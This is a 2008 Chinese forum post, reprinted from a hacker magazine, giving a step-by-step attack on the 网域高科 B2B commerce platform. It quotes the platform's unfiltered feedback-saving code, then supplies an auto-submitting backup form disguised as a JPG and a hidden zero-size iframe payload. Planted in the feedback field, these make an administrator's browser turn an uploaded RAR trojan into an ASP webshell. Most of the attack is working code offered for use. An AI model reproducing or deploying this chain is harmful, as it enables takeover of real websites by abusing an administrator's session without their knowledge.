找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 767|回复: 0

跨出WEBSHELL---网域高科行业B2B商务平台实例

[复制链接]

105

主题

835

回帖

2157

牛毛

二级牛人

积分
3574
发表于 2008-1-21 12:43:48 | 显示全部楼层 |阅读模式 来自 江苏省南京市
申明:本文已发表黑客手册,转载请注名版权,此文版权归樱花浪子和黑客手册所有. !
转载请注明!        


  时间过的真快,记得在07年1月份我写过一篇关于跨站添加管理员的文章,上期又给大家带来一期跨站的文章,小天对我那句话比较赞同,跨站的威力是不比注入小的,注入如果遇见SQL数据库还好说,
ACC的也就能老老实实猜密码,进后台,在利用后台某个功能得WEBSHELL……说了几句题外话,下面我们
一起来跨出WEBSHELL,OK,LET'S GO。

  这里以网域高科行业B2B商务平台来测试一下,这套程序是修改阿里巴巴的程序,防注入做的比较好,但是在leaveword_save.asp文件里有一些变量没有过虑,下面是7到43行代码:

book_user=request.form(\"book_user\")
book_contact=request.form(\"book_contact\")
book_content=request.form(\"book_content\")
if sortid=\"\" or tableid=\"\" or ypid=\"\" then
response.write \"<script>alert(&#39;未知错误&#39;);window.close();</Script>\"
response.End()
end if
if book_user=\"\" or len(book_user)<2 or len(book_user)>16 then
response.write \"<script>alert(&#39;反馈出错,下面是产生错误的可能原因:\\n\\n·请输入 2-16 位字符的用户名!&#39;);window.close();</Script>\"
response.End()
end if
if book_contact=\"\" or len(book_contact)<5 or len(book_contact)>40 then
response.write \"<script>alert(&#39;反馈出错,下面是产生错误的可能原因:\\n\\n·请输入 5-40 位字符的联系方式!&#39;);window.close();</Script>\"
response.End()
end if
if book_content=\"\" or len(book_content)<5 or len(book_content)>100 then
response.write \"<script>alert(&#39;反馈出错,下面是产生错误的可能原因:\\n\\n·请输入 10-100 位字符的反馈内容!&#39;);window.close();</Script>\"
response.End()
end if

set rs=Server.CreateObject(\"Adodb.Recordset\")
sql=\"select * from SMT_leaveword\"
rs.open sql,conn,1,3
rs.addnew
rs(\"SMT_book_user\")=book_user
rs(\"SMT_book_contact\")=book_contact
rs(\"SMT_book_content\")=book_content &#39;就用它吧,100个字符满够用了
rs(\"SMT_book_sort\")=sortid
rs(\"SMT_book_table\")=tableid
rs(\"SMT_book_ypid\")=ypid
rs.update
rs.close
set rs=nothing

response.write \"<script>alert(&#39;反馈成功,谢谢您的参与!&#39;);window.close();</Script>\"
response.End()
%>

可以看出就是做了一些判断是否为空,和字数上的限制,不过book_content限制提交字数是100个,这对于我们来说已经足够了。


  首先我们注册个用户,在意见反馈里填入跨站语句,如图1所示,这样直接在后台就会执行,如图2所示。

450) {this.resized=true; this.width=450;}\" border=0>

450) {this.resized=true; this.width=450;}\" border=0>

  这样当然我们就可以做很多事情了,比如说像添加个管理员,不过以前已经写过所以就不在重复了,这个后台有数据库备份功能,我们要做的是利用管理员身份替我们备份出一个WEBSHELL来,先看看他的数据库备份代码是怎么写地,在admin\\System\\admin_backdb.asp文件中的108到129代码如下:

<form name=\"form1\" method=\"POST\" action=\"admin_backdb.asp?action=back\">
<table width=\"100%\" border=\"1\" align=\"center\" cellpadding=\"5\" cellspacing=\"0\" bordercolorlight=\"#cccccc\" bordercolordark=\"#FFFFFF\">
<tr>
<td bgcolor=\"#efefef\" height=25><strong>备份数据库</strong></td>
</tr>
<tr>
<td height=25>你的空间只有支持fso才可以进行如下操作,否则你只能手动备份</td>
</tr>
<tr>
<td height=25>数据库路径:
<input type=\"text\" name=\"currf\" size=\"30\" value=\"<%=db%>\"></span>  备份数据目录:
<input type=\"text\" name=\"backf\" size=\"20\" value=\"mdbback\"></td>
</tr>
<tr>
<td height=25>数据库名称:
<input type=\"text\" name=\"backfy\" size=\"20\" value=\"back.asp\">
<input type=\"submit\" name=\"Submit\" value=\"备份\" >
<input type=\"reset\" name=\"Submit2\" value=\"重置\" >
</td>
</tr>
</table>
</form>

  我们可以先上传一个RAR的马儿,然后在数据库路径里填上,马的地址为:\"/oledit/UploadFile/200712/2007121544821758.rar\",这里需要注意的是路径一定要填对,否则备份就会不成功的。改动好的代码如下:

<html>
<form name=\"form\" method=\"POST\" action=\"../../../admin/System/admin_backdb.asp?action=back\">
<table width=\"100%\" border=\"1\" align=\"center\" cellpadding=\"5\" cellspacing=\"0\" bordercolorlight=\"#cccccc\" bordercolordark=\"#FFFFFF\">
<tr>
<td bgcolor=\"#efefef\" height=25><strong>备份数据库</strong></td>
</tr>
<tr>
<td height=25>你的空间只有支持fso才可以进行如下操作,否则你只能手动备份</td>
</tr>
<tr>
<td height=25>数据库路径:
<input type=\"text\" name=\"currf\" size=\"30\" value=\"../../oledit/UploadFile/200712/2007121544821758.rar\"></span>  备份数据目录:
<input type=\"text\" name=\"backf\" size=\"20\" value=\"hacklu\"></td>
</tr>
<tr>
<td height=25>数据库名称:
<input type=\"text\" name=\"backfy\" size=\"20\" value=\"hacklu.asp\">
<input type=\"submit\" name=\"Submit\" value=\"备份\" >

</td>
</tr>
</table>
</form>
<script>document.form.submit()</script>
</html>
把这个保存为XX.jpg上传到服务器,因为HTML改成JPG是可以解析的,路径为:oledit/UploadFile/200712/200712155756468.jpg,在
意见反馈里写上如下挂马语句:<iframe src=\"../oledit/UploadFile/200712/200712155756468.jpg\" width=0 height=0></iframe>如图3,这样当管理员看到时就会自动备份出WEBSHELL来了,如图4,图5所示。

450) {this.resized=true; this.width=450;}\" border=0 resized=\"true\">

450) {this.resized=true; this.width=450;}\" border=0 resized=\"true\">

450) {this.resized=true; this.width=450;}\" border=0 resized=\"true\">

其实跨站还有很多可以做到的事,限于小天摧稿比较急,剩下的留给大家去挖掘吧。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-11 14:05 , Processed in 0.118409 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表